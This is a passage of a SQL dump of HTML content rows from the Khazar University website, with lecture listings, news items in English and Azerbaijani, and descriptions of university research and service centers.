style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">63.&nbsp;<strong>03.02.2015.</strong> Geography and history of\r\ngenetic migrations. <strong>Prof. Stoyan Dinkov </strong>(Bulgaria).</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">64.&nbsp;<strong>07.04.2015.</strong> Mirza Shafi Vazeh and\r\nFrederic Bodenstedt. Great friendship and great separation. <strong>Prof. Hamlet Isaxanli.</strong> </p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">65.&nbsp;<strong>30.01.2016.</strong> The structure of central\r\nnervous system. <strong>Prof. Mahmut Gazi\r\nYashargil</strong> (Turkey).</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">66.&nbsp;<strong>18.04.2016.</strong> Nomadic Peoples in Europe:\r\nRole of Hungarian and Turks in the Formation of Early Middle Ages History of\r\nEurope. <strong>Prof. Istvan Zimonyi</strong>\r\n(Hungary, Szegedi University). </p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">67.&nbsp;<strong>04.05.2018.</strong> Middle East and the Republic\r\nof Turkey. <strong>İlker Başbuğ, the 26<sup>th</sup> Chief of the General Staff (Turkey).</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:.5in;text-align:justify;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:.5in;text-align:justify;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\">Photos of 55<sup>th</sup> Meeting of Assembly of Science and Art -&nbsp;<strong>Gory Seminary’s role in the development of Azerbaijan\'s culture and education.</strong><p></p>'),(2507,1514,'en','Hamlet Isaxanli on Advisory Panel for New Book ','The book entitled “A 17-year Crisis: The National Anti-Soviet Occupation Movement in Azerbaijan in 1921-1937” was published with the support of Oghuz Independent Researchers’ Group...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The book entitled “A 17-year Crisis: The\r\nNational Anti-Soviet Occupation Movement in Azerbaijan in 1921-1937” was\r\npublished with the support of Oghuz Independent Researchers’ Group and\r\nfinancial support from the Board for State Support of NGOs. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Professor Hamlet Isaxanli, the founder\r\nof Khazar University and Chairman of its Board of Directors and Trustees, was\r\none of the academic advisors for the book. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">More information is available at the\r\nfollowing link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://xalqqazeti.com/az/news/politics/77398\">http://xalqqazeti.com/az/news/politics/77398</a></p>'),(1702,1058,'az','Məktəblilər “Xəzər”in qonağı oldular','2016-cı il mayın 3-də Xəzər Universitetində 245 saylı məktəbin şagirdləri ilə görüş keçirildi. Görüşü universitetin rektoru Dr. Hassan Niknafs açaraq, şagirdləri səmimi salamlayaraq universitə haqqında geniş məlumat verdi.','<p>2016-cı il mayın 3-də Xəzər Universitetində 245 saylı məktəbin şagirdləri ilə görüş keçirildi. Görüşü universitetin rektoru Dr. Hassan Niknafs açaraq, şagirdləri səmimi salamlayaraq universitə haqqında geniş məlumat verdi. Tədris işləri üzrə prorektor professor Məhəmməd Niriyev fakültələr haqqında məlumat verdi. Təhsil fakültəsinin dekanı Elza Səmədova, İqtisadiyyat və menecment fakültəsinin dekanı İnqilab Əhmədov, Humanitar&nbsp; və sosial elmlər fakültəsinin dekanı Cabir Xəlilov, İnşaat &nbsp;mühəndisliyi departamentinin müdiri Tahir Çeyini, yəmənli tələbə Tareq Al-Hamidi çıxış edərək, 11-ci sinif şagirdlərinə Xəzər Universitetinin özəlliklərindən, proqramların müxtəlifliyindən danışdılar, orta məktəb şagirdlərinin çoxsaylı suallarını cavablandırdılar.</p><p>Sonra İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli məktəb şagirdlərini universitetlə tanış edərək, onlara geniş məlumat verdi. &nbsp;Şagirdlər Kitabxana-İnformasiya Mərkəzi, Psixologiya Mərkəzi, Avrasiya Araşdırmaları Mərkəzi, İnşaat mühəndisliyi laboratoriyası, Xalçaçılıq Muzeyi, TİKA, “Mərmər” zal və s. yerlərlə tanış oldular, Mədəniyyət Mərkəzində Kamera Orkestrinin ifasında bir neçə ifanı dinlədilər. Sonra çay süfrəsi ətrafinda görüş davam etdi. 245 saylı məktəbin nümayəndəsi Rübabə Əhmədova məktəbin rəhbərliyi adından Xəzər Universitetinin kollektivinə dərin təşəkkürünü bildirdi.</p><p>Məktəblilərlə xatirə şəkilləri çəkildi.</p>'),(1703,1058,'en','School Pupils Visit Khazar','On May 3, 2016, pupils of School number 245 visited Khazar University. Opening the event, Dr. Hasan Niknafs, President of the University, greeted the pupils and gave them detailed information about the university.','<p>On May 3, 2016, pupils of School number 245 visited Khazar University. Opening the event, Dr. Hasan Niknafs, President of the University, greeted the pupils and gave them detailed information about the university. Professor Mahammad Nuriyev, Vice President of Khazar University for Academic Affairs, spoke about academic programs. Other faculty members and Khazar representatives who spoke to the students about advantages of Khazar included Dr. Elza Semedli, Dean of the School of Education; Dr. Ingilab Ahmadov, Dean of the School of Economics and Management; Associate Professor Jabir Khalilov, Dean of the School of Humanities and Social Sciences; Tahir&nbsp;Chegini, Chair of the Department of Civil Engineering; and Tarag Al-Hamidi, international student from Yemen.</p><p>Then Alovsat Amirbeyli, Director for Public Relations and Media, gave the pupils a tour of the university. They viewed the Library-Information Center, Psychology Center, Center for Eurasia and Middle East Studies, Civil Engineering Laboratory, Carpet Museum, TIKA room, Marble Hall and other places. They listened to a performance of the Khazar University Chamber Orchestra in the Cultural Center. Then they were served tea. Rubaba Ahmadova, representative of the school, thanked the Khazar University administration on behalf of the school collective.</p><p>&nbsp;</p>'),(1704,1059,'en','Staff Members Present at IV International Scientific Conference held at Qafqaz University','Valida Karimova, PhD student in Linguistics and Research Assistant for the School of Humanities and Social Sciences, and Lamiya Hajili, Master’s student in Monitoring and Evaluation in Education, participated in the \"IV International Scientific Conference of Young Researchers\" which was held on April 29, 2016 at Qafqaz University.','<p>Valida Karimova, PhD student in Linguistics and Research Assistant for the School of Humanities and Social Sciences, and Lamiya Hajili,&nbsp;<strong>Master</strong><strong>’s student in</strong><strong>&nbsp;Monitoring and Evaluation in Education</strong><strong>,</strong>&nbsp;participated in the \"IV International Scientific Conference of Young Researchers\"&nbsp;which was held on April 29, 2016 at Qafqaz University. The objective of the conference was to raise interest among young people in science, to bring together young researchers and scientists from various universities, centers, and institutions, and to create the opportunity for them to share their experiences with others, analyze the problems they face, discuss common problems and put forward proposals.</p><p>At the conference, Valida Karimova presented an article on “Linguistic Nature of Metaphor,” and Lamiya Hajili presented “Ənənəvi və Müasir Anlamda Təhsil” (Education in Traditional and Modern Views). At the end of the conference, the participants awarded with certificates and two- volume&nbsp;books of conference materials.</p>'),(1705,1059,'az','Humanitar və sosial elmlər fakültəsinin əməkdaşları Gənc Tədqiqatçıların IV Beynəlxalq Elmi Konfransında çıxış etdilər','2016-ci il aprelin 29-da Humanitar və sosial elmlər fakültəsinin baş laborantı Validə Kərimova (Dilşünaslıq ixtisası üzrə doktorant) və Lamiyə Hacılı (Təhsildə qiymətləndirmə və monitoronq magistrant), Qafqaz Universitetində ümummilli lider Heydər Əliyevin anadan olmasının 93-cü ilinə həsr olunmuş Gənc Tədqiqatçıların IV Beynəlxalq Elmi Konfransında iştirak etdilər.','<p>2016-ci il aprelin 29-da Humanitar və sosial elmlər fakültəsinin baş laborantı Validə Kərimova (Dilşünaslıq ixtisası üzrə&nbsp;doktorant) və Lamiyə Hacılı (Təhsildə qiymətləndirmə və monitoronq magistrant), Qafqaz Universitetində ümummilli lider Heydər Əliyevin anadan olmasının 93-cü ilinə həsr olunmuş Gənc Tədqiqatçıların IV Beynəlxalq Elmi Konfransında iştirak etdilər. Konfransa Azərbaycan, Türkiyə, ABŞ, Böyük Britaniya, Rusiya, Çexiya, Avstriya və s. kimi ölkələrin gənc tədqiqatçıları və elm adamları öz tezisləri ilə müraciət etmişdilər. Qeyd etmək lazımdır ki, 1400-ə yaxın tezis arasından 4 dildə – Azərbaycan, türk, rus, ingilis dillərində 1100 elmi məqalə qəbul edilmişdi. Əsas hədəf müxtəlif ölkələrin elmi tədqiqatçılarını bir araya gətirməklə, elmlə məşğul olan gənclər arasında əlaqələrin qurulmasını təmin etməkdən ibarətdir.</p><p>Konfransda Validə Kərimova “Metaforanın linqvistik xarakteri” (ingiliscə), Lamiyə Hacılı isə “Ənənəvi və müasir anlamda təhsil” tezisləri ilə çıxış etdilər.</p><p>Konfransın sonunda elmi tədqiqatçılara elmi məqalələrin dərc olunduğu iki cildli kitab və sertifikat təqdim edilmişdir.</p>'),(95,103,'en','Legal Education Center','Legal Education Center','<p><strong><img src=\"/files/demo/15_10_13_Slide1.jpg\" style=\"width:364px;height:155px\"><img src=\"/files/demo/15_10_14_logo.jpg\" style=\"width:346px;height:113px\"><br></strong></p><p><strong><em><br></em></strong></p><p style=\"text-align:justify\"><strong><em>The Legal Education Center </em></strong>was established with the support of Azerbaijan Lawyers Confederation and the US Agency for International Development (USAID) within the “Azerbaijan Rights Consortium” project in January 2013. The purpose of the Azerbaijan Rights Consortium Project (ARC) is to increase the effectiveness of civil society and legal professionals to better defend the rights and interests of citizens and to improve the rule of law.&nbsp;This will be reached through achievement of two interdependent outcomes as summarized below:</p><p style=\"text-align:justify\">1) Development of broader-based Azerbaijani constituencies more actively promoting reforms that safeguard citizens’ rights</p><p style=\"text-align:justify\">2) Improved capacity of legal professionals to better apply laws and assist their clients.</p><p style=\"text-align:justify\">At present, in Azerbaijan, the training of most young lawyers is almost entirely academic and in the future, they lack social and \"lawyering\" skills when they embark on their careers. With this in mind, ARC established the Legal Education Center at Khazar University. The center conducts regular, high-quality curriculum-based training and develops legal publications covering a broad range of legal areas (see below). To ensure reputability and high quality of its services, the center attracts outstanding legal professionals and practitioners to develop the curricula and teach the courses. It is also envisioned that young lawyers and law students will be accompanying professional lawyers during strategic litigations, court hearings, rendering legal advice and consultations. The center plans to provide high-quality curriculum-based training courses to at least 20 law students per year and annually help 6-7&nbsp;candidates for membership to Collegiums of Attorneys (Azerbaijan Bar Association) prepare for Bar exams and pass them successfully.</p><p style=\"text-align:justify\"><strong><em>The objectives of the Center include the following:</em></strong><strong>&nbsp;</strong></p><ul><li style=\"text-align:justify\">Increasing awareness and information in the area of human rights and freedoms, promotion of constitutional values in the society;</li><li style=\"text-align:justify\">Organizing preparatory courses for young lawyers who wish to participate in bar admission exams.</li><li style=\"text-align:justify\">Providing legal assistance free of charge for population groups with limited income;</li><li style=\"text-align:justify\">Organizing regular courses aimed at capacity building for representatives and members of entities engaged in defense of human rights in national and international mechanisms;</li><li style=\"text-align:justify\">Organizing meetings among national and international experts, young lawyers and law students from universities in Azerbaijan;</li><li style=\"text-align:justify\">Preparing practical guidelines, manuals and teaching materials for advocates, lawyers engaged in practical work, judges, entities, and persons engaged in defense of human rights, and organizing the sale of such materials through regular fairs;</li></ul><p style=\"text-align:justify\">Based on the needs identified, the consortium works with international and local experts to develop continuing education course curricula and materials. The courses provide in-depth coverage of a wide range of topics which include, but are not limited to, Administrative law, Criminal Law, Review of existing laws and updates on new laws being passed by Parliament, Bar exam preparation, European Court of the Human Rights case law, Family Law, Labor Law, Legal Drafting, etc.</p><p style=\"text-align:justify\">Participants who successfully complete the course will be awarded certificates.</p>'),(96,104,'en','Dictionary and Encyclopedia Center','Dictionary and Encyclopedia Center','<p>The <strong>Dictionary and Encyclopedia Center</strong> was established in April 1996. Since then it has been performing linguistic and lexicological research and compiling dictionaries.</p><p>The center is currently devoting most of its time to the production of a six-volume<strong> Khazar English-Azerbaijani Comprehensive Dictionary</strong> (edited by Prof. Hamlet Isakhanli and the late Prof. Tofig Abbasguliyev) which aims to be a significant aid to language learners, translators and scholars. The first three volumes of the dictionary were published by Khazar University Press in 2004 and 2008, and the remaining three volumes are in the process of compilation.&nbsp;</p><p>The total dictionary contains approximately 250,000 words, numerous phrases and example sentences. Synonyms, stylistic differentiation of words, idiomatic expressions and proverbs are also given.</p><p>Several sample words from the dictionary: Enigmatic- [,enig’mætik] müəmmalı, sirli, qaranlıq, anlaşılmayan Luminescence- [,l(j)u:mi’nesns] işıqlanma, işıqsaçma qabiliyyəti, lüminessensiya Kayak- [‘kaiæk] 1) biryerli yüngül eskimos qayığı; 2) qayıq, baydarka Intriguingly- [in’tri:giŋli] adv 1. intriqa vasitəsilə/ yolu ilə; 2. maraq doğuracaq/ marağa səbəb olacaq bir tərzdə.</p>  <p><br></p><p style=\"text-align:center\"><img src=\"/files/letters/o_1ad1b1cdn130bn3p1jan1gg91a64a.gif\" style=\"border:0px #000000;vertical-align:middle;width:300px;height:197px;margin-left:7px;margin-top:7px;margin-bottom:7px\">&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"/files/letters/o_1ad1b1hah1v13giobi1sgh1qkag.gif\" style=\"border:0px #000000;vertical-align:middle;width:300px;height:197px\">&nbsp; &nbsp;&nbsp;<img src=\"/files/letters/o_1ad1b1k5s18sgmgo2k2a551shim.gif\" style=\"border:0px #000000;vertical-align:middle;width:300px;height:197px;margin-top:7px;margin-right:7px;margin-bottom:7px\"><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h4><strong>Contact:</strong></h4><p><strong><img src=\"/files/letters/gunel_sh.jpg\" style=\"float:left;width:150px;height:192px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/letters/CV-Gunel_Shukurova.pdf\">Gunel Shukurova</a></strong></p><p><strong>Editor assistant  </strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:gshukurova@khazar.org\">gshukurova[at]khazar.org</a><a href=\"mailto:gshukurova@khazar.org\"></a></p>\r\n<p><strong>Phone:</strong>&nbsp;(+994 12) 421 10 93 (271)</p>'),(2505,1513,'en','Literature Newspaper Discussion in Media','As we previously reported, Khazar University’s Associate Professor Dilbar Zeynalova appeared as a guest on Literature Newspaper’s Discussion Hour. The axar.az news site published..','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">As\r\nwe previously reported, Khazar University’s Associate Professor Dilbar\r\nZeynalova appeared as a guest on Literature Newspaper’s Discussion Hour. The\r\naxar.az news site published detailed information about the discussion. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">The\r\nfull text of the article is available at the following link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://axar.az/news/114399\">http://axar.az/news/114399</a>.</p>'),(97,105,'en','Eurasia Extractive  Industries  Knowledge Hub','Eurasia Extractive  Industries  Knowledge Hub','<a href=\"http://eurasiahub.khazar.org\"><img src=\"/files/image/14_11_20_logo_hub.jpg\" style=\"border:0px  #000000;width:90px;height:50px;float:left;margin:7px\"></a><h3><a href=\"http://eurasiahub.khazar.org\" style=\"font-family:Calibri, sans-serif\"><span style=\"font-weight:normal\">Please click\r\nhere for the website.</span></a></h3>  <br><br>\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/VXKknkNXNvg\" frameborder=\"0\"></iframe><div><br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; <br><p><span style=\"line-height:20px;color:#252525;font-size:18px;font-family:\'Source Sans Pro\', sans-serif;background-color:#ffffff\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"http://www.khazar.org/files/letters/brand1.jpg\" rel=\"media27658594093045785\" width=\"150\" height=\"100\"><img src=\"http://www.khazar.org/files/demo/14_11_20_logo_hub.jpg\" style=\"border:0px #252525;width:250px;height:109px;vertical-align:baseline\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<img src=\"http://www.khazar.org/files/letters/brand1.jpg\" style=\"border:0px #000000;width:250px;height:108px;vertical-align:baseline\"></span></p><p><span style=\"line-height:20px;color:#252525;font-size:18px;font-family:\'Source Sans Pro\', sans-serif;background-color:#ffffff\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"http://www.khazar.org/files/letters/brand1.jpg\" rel=\"media009084526116350133\" width=\"150\" height=\"100\"><br></span></p><p style=\"text-align:justify\"><span style=\"color:#252525;font-size:18px;font-family:\'Source Sans Pro\', sans-serif;line-height:20px;background-color:#ffffff\"><span style=\"line-height:20px\">The Eurasia Extractive Industries Knowledge Hub is a training and research center with the aim of knowledge delivery and development in&nbsp;the field of extractive industries.&nbsp;</span><span style=\"line-height:20px\">The Hub was jointly created by Khazar University (Baku, Azerbaijan) and Natural Resource Governance Institute&nbsp;(NY, USA) to promote the&nbsp;dialogue between government and civil society to ensure long term sustainable development in the&nbsp;resource-rich countries of Eurasia.</span></span></p>\r\n<p><a class=\"twitter-timeline\" href=\"https://twitter.com/eurasia_hub\" id=\"716966716417433600\">Tweets by @eurasia_hub</a></p>\r\n<!-- ELRTE_SCRIPT:script6707474370133133 -->  </div>'),(98,106,'en','Institute of Education Policy','Institute of Education Policy','<p>The&nbsp;<strong>Institute of Education Policy</strong>&nbsp;is engaged in research, writing, and organizing training events with the goal of improving curricula, developing administration methods, and keeping policymakers informed.</p><p><strong>See our brochure:</strong>&nbsp;<a href=\"http://www.khazar.org/files/demo/institute_of_education_policy_brochure.pdf\">institute&nbsp;of&nbsp;education&nbsp;policy&nbsp;brochure</a></p><p><strong>See our powerpoint presentation:</strong>&nbsp;<a href=\"http://www.khazar.org/files/demo/Khazar_IEP_ENG_2014a_.pdf\">Khazar&nbsp;IEP&nbsp;ENG</a></p><h3><a href=\"http://www.khazar.org/files/demo/Khazar_IEP_ENG_2014a_.pdf\"></a><strong>Areas of Study</strong></h3><p><strong>Curriculum and Instruction:</strong></p><ol></ol><ul><li>Curriculum Theory</li><li>Instructional Theory</li><li>Curriculum Organization</li><li>Designs for Instruction (elementary, secondary and higher education levels)</li><li>General Foundation of Education</li></ul><p><strong>Educational Administration</strong><strong>:</strong></p><ol></ol><ul><li>Foundations in Educational Administration</li><li>Management Studies in Education (Organization, management and development of schools, colleges as professional establishments, leadership and management in educational establishments)</li><li>Educational Policies and Planning in Azerbaijan (including Education Law)</li><li>Economics and Finance of Education</li><li>Organization and Administration of Higher Education</li><li>Observation and Evaluation of Instruction and Personnel</li></ul><p><strong>Comparative and International Education:</strong></p><ol></ol><ul><li>Historical Development of Comparative Education</li><li>Research Methods in Comparative Education</li><li>Education Systems; primary, secondary, and higher education models</li></ul><p><strong>History and Philosophy of Education:</strong></p><ol></ol><ul><li>Philosophical Foundations of Education</li><li>Sociology of Education</li><li>History of Education</li><li>History of Higher Education</li><li>Case Studies: Education in USA, UK, France, Germany, Russia, Japan</li><li>Education in Developing Countries (including case studies in China, India, Turkey, Azerbaijan)</li></ul><p><strong>Educational Psychology:</strong></p><ol></ol><ul><li>Psychological Foundations of Education</li><li>Principles of Social Psychology (and Human Development)</li><li>Learning and Motivation</li><li>Psychometrics</li><li>Quantitative Methods (Experimental Design, Statistical inference, Correlation, Regression, Factor analysis, Multivariable methods, Qualitative Data)</li><li>Research Methodology (Computer Methods, Statistical Models)</li></ul><p><strong>Principles for Subject Introduction and Social Group Education:</strong></p><ol></ol><ul><li>Foreign language education</li><li>Science education</li><li>Health and life Science education</li><li>Special education</li><li>Single subject instruction</li><li>Religions education</li><li>Education of minorities</li><li>Multiple Subject Instruction</li></ul>'),(99,107,'en','Quality Assurance Center','Quality Assurance Center','<div><p>Quality in education is a system of values, a position and a culture. It changes the existing form and permanence of the evolutionary efforts. Quality is a process. The concept of quality enhancement is more important than simple quality assurance and quality control.</p><p>As with other former Soviet Union states, Azerbaijan had an historical commitment to higher education. That commitment however, was relatively rigid in process, with minimal scope for institutional innovation, initiative and self-reliance. Teaching was fundamentally didactic in form with little attention paid to the learning needs and processes of the students.</p><p>This is changing. Led by Azerbaijan\'s oil and other material resources, it is at the forefront of substantial economic and social developments, including higher education. But such transformation is not easily accomplished in the short term. Adequate financial resources are currently unavailable to the Education sector. Azerbaijani higher education needs opportunities to \'learn by example\' according to international \'best practice\'. This Center is established to impact national context through direct application within Khazar University as well as through wider dissemination.</p><p><strong class=\"<img src=\" http:=\"\" khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 9b8f1898=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media05739554073225861\" width=\"150\" height=\"100\">Tempus Projects</strong></p><p><strong>2011-2014</strong></p><p><strong><a href=\"http://tempus-doqup.unige.it/\">Documentation for Quality Assurance of Study Programmes</a></strong></p><p>The project aims to define and to implement an on-line documentation system for the QA of SPs in the Partner Countries (PCs), consistent with the European Standards and Guidelines for QA.</p><p><strong>Project coordinator:</strong>&nbsp;</p><p><a href=\"http://www.unige.it/\">University of Genoa</a></p><p><strong>Project participants:</strong></p><p><a href=\"http://bsu.edu.az/en\">Baku State University</a></p><p><a href=\"http://www.khazar.org/s473/\">Khazar Univeristy</a></p><p><a href=\"http://amu.edu.az/\">Azerbaijan Medical University</a></p><p><a href=\"http://www.edu.gov.az/\">Ministry of Edication of Azerbaijan</a></p><p><a href=\"http://www.oyu.edu.az/\">Odlar Yurdu University</a></p><p><a href=\"http://www.qu.edu.az/\">Qafqaz University</a></p><p><a href=\"http://www.kazgasa.kz/\">Kazakh Leading Academy of Architecture and Civli Engineering</a></p><p><a href=\"http://www.ablaikhan.kz/\">Kazakh \"Ablai Khan\" University for International Relations and World Languages</a></p><p><a href=\"http://www.kazntu.kz/en/node/829\">Kazakh National Technical University N.A. K.I.Satpayev</a></p><p><a href=\"http://www.enu.kz/\">Eurasian National University N.A.L. Gumilyov</a></p><p><a href=\"http://www.iqaa.kz/\">Independent Kazakhstan Agency for Quality Assurance in Education</a></p><p><a href=\"http://www.naric.kz/\">National Center for Assessing Quality of Education</a></p><p><a href=\"http://www.edu.gov.kz/en\">Ministry of Education and Science of Republic of Kazakhstan</a></p><p><a href=\"http://www.university.kg/\">Kyrgyz National University N.A. Jussup Balasagyn</a></p><p><a href=\"http://www.bafe.edu.kg/\">Bishkek Academy of Finance and Economics</a></p><p><a href=\"http://www.ednet.edu.kg/\">Education Network Association</a></p><p><a href=\"http://edu.gov.kg/\">Ministry of Education and Science of Kyrgyz Republic</a></p><p><a href=\"http://www.nsu.ktnet.kg/\">Naryn State University</a></p><p><a href=\"http://www.dsx.tj/\">Tajik Institute of Entrepreneurship and Services&nbsp;&nbsp;</a></p><p><a href=\"http://www.tnu.tj/index.php/en\">Tajik National University</a>&nbsp;</p><p><a href=\"http://www.tut.tj/\">Technological University of Tajikistan</a></p><p><a href=\"http://www.maorif.tj/russkiy.htm\">Ministry of Education of Republic of Tajikistan</a></p><p><a href=\"http://www.wip.wiwi.uni-due.de/en\">Universitaet Duisburg - Essen</a></p><p><a href=\"http://www.crui.it/english\">CRUI - Conference of Italian University Rectors</a></p><p><a href=\"http://www.cineca.it/en\">Consorzio inter-universitario calcolo automatico italiano N.O.</a></p><p><a href=\"http://www.stuba.sk/english.html?page_id=132\">Slovak University of Technology in Bratislava</a></p><p><a href=\"http://www.ua.es/en\">University of Alicante</a></p><p><strong>2008</strong></p><p>Tempus project&nbsp;<strong>“Designing Quality Assurance Systems in Azerbaijani Universities”</strong>&nbsp;enhanced the Quality Assurance Center at Khazar University by establishing Centers for Quality Assurance at Baku State University and State University of Languages.</p><p>Intensive cooperation with the University of Winchester (UK) Carlos III University (Spain) and the University of Warsaw (Poland) resulted in Azerbaijani training, supervision and expert support in quality assurance.</p><p><strong>1999-2001</strong></p><p>The Tempus Tacis Compact Project&nbsp;&nbsp;<strong>“Quality Assurance Centre Development at Khazar University”</strong>&nbsp;was implemented in cooperation with Nottingham Trent University (UK) and Haarlem University (Netherlands).</p></div>'),(2105,1295,'en','Founder at International Conference at Academy of Sciences','From August 31 to September 1, the International Society of Management Science and Engineering Management held the 10th International Conference on Management Science and Engineering Management at the Azerbaijan National Academy of Sciences. On August 31, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, participated in the opening ceremony...','<p>From\r\nAugust 31 to September 1, the International Society of Management Science and\r\nEngineering Management held the 10th International Conference on Management\r\nScience and Engineering Management at the Azerbaijan National Academy of\r\nSciences. On August 31, Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, participated in\r\nthe opening ceremony. </p><p>\r\nOn September 1, H.Isaxanli made a presentation\r\nin the panel discussion during the conference at the Academy of Sciences. He\r\nspoke about the special role played by Khazar University in management science\r\nand engineering management in Azerbaijan, including training, research,\r\npractical works and projects. He also participated in related discussions.</p>'),(100,108,'en','Khazar Translation Studies Center','Khazar Translation Studies Center','<div><p>The Khazar University&nbsp;<strong>Translation Studies Center</strong>&nbsp;(TSC) was established in April 27, 2000. The main objective of this Center is to translate the academic, fictional, philosophical and technical works published in various modern languages into Azerbaijani. Some examples of the spiritual treasures of Azerbaijan culture are being translated into various languages, as well. The Center is involved in research and teaching of translation as subject fields.</p><p>Translation studies create unique research opportunities, giving rise to collaboration between scholars who have traditionally worked in distinct fields of research.</p><p>Khazar University TSC has become an&nbsp;academic body – a place where scholars and students study, perform and enhance the complex act of transforming literary experiences created in one language into equivalent experiences in another language.</p><p>Attracting experienced professionals as well as young specialists to its activities, the Center holds theoretical and practical conferences and symposiums on various issues concerning translation and organizes discussion sessions on Lexicology, Literary Translation, Translation of Poetry, Theories and Techniques of Translation, etc.</p><p>By training students as translators, Khazar University TSC gives them an opportunity to use and improve their language skills professionally.</p><p>The TSC closely cooperates with other academic departments and research centers of the University. Other academic entities have been adding their expertise as the center expands from literary translation to include commercial and legal translation.</p><p>Khazar TSC, in affiliation with Khazar University Press, has completed several translation projects.&nbsp; Some of them were partially funded by the government of the United States.</p><p><strong>The list of translations includes:</strong></p><ul><li>Russia and Azerbaijan: A Borderland in Transition by Tadeusz Swietochoiwski.</li><li>M.L. Stein,&nbsp; Susan F. Paterno.&nbsp;<a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1157/1/The%20titul%20son.pdf\">Jurnalistikaya giriş: müxbirin stolüstü kitabı</a>&nbsp;=The Newswriter’s Handbook: An introduction to Journalism by&nbsp;M. L. Stein,&nbsp;Susan Paterno</li><li>Mass Media: an Introduction to Modern Communication by&nbsp;&nbsp;Ray Eldon Hiebert,&nbsp;Donald F. Ungurait,&nbsp;Thomas W. Bohn</li><li><a href=\"http://dspace.khazar.org/jspui/handle/123456789/991\">Amerika müsəlmanları</a>&nbsp;= Being Muslim in America by Howard Cincotta, Deborah Conn, Serena Kim, Meghan Loftus</li></ul><p>Translators from the center worked on the translation of “Racing Up Hill” by Hafiz Pashayev.&nbsp;<br>A project started in 2005 resulted in the publishing of the first collection of&nbsp;\"Poetry in Translation, First Collection =&nbsp;<a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1052/1/Sevgi%20poeziyasi.pdf\">Sevgi poeziyası. Birinci kitab</a><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1052/1/Sevgi%20poeziyasi.pdf\">\"</a>&nbsp;by a team of authors and translators including Hamlet Isaxanli.</p><div><br></div></div>'),(101,109,'en','Library and Information Center','Library and Information Center','<p><a href=\"http://library.khazar.org/\">Library and Information Center</a>  </p>'),(102,110,'en','Multimedia Center','Multimedia  Center','&lt;&gt;<p><a href=\"https://www.facebook.com/mediakhazar/\" target=\"_blank\"><strong><img src=\"/files/multimedia/logo.png\" style=\"width:150px;height:148px;margin:7px;float:left\"><br></strong></a></p><p><br></p><p><strong><a href=\"https://www.facebook.com/kumultimediacenter/\" target=\"_blank\">Multimedia Center</a>&nbsp;</strong>&nbsp;created in 1994 year&nbsp;by Khazar University.</p><p><br></p><p><br></p><br><strong style=\"font-size:large\">The main activity of center consists following parts:<span class=\"Apple-tab-span\" style=\"white-space:pre\"></span></strong><p>- Providing&nbsp;events and ceremonies of university&nbsp;with photo-video shooting&nbsp;</p><p>- To assemble and order portraits and landscape photos and video-materials related to<span class=\"Apple-tab-span\" style=\"white-space:pre\">  </span>events taking place at the university.</p><p>-&nbsp;Publishing and erection&nbsp;photo-video materials&nbsp;what&nbsp;are shooted.</p><p>- To archive photo-video materials what are shooted and erected.</p><p>- Organizing seminars, tranings for students who interested in this area.</p>\r\n<p><br></p><p><img src=\"http://www.khazar.org/files/multimedia/square-facebook-512.png\" 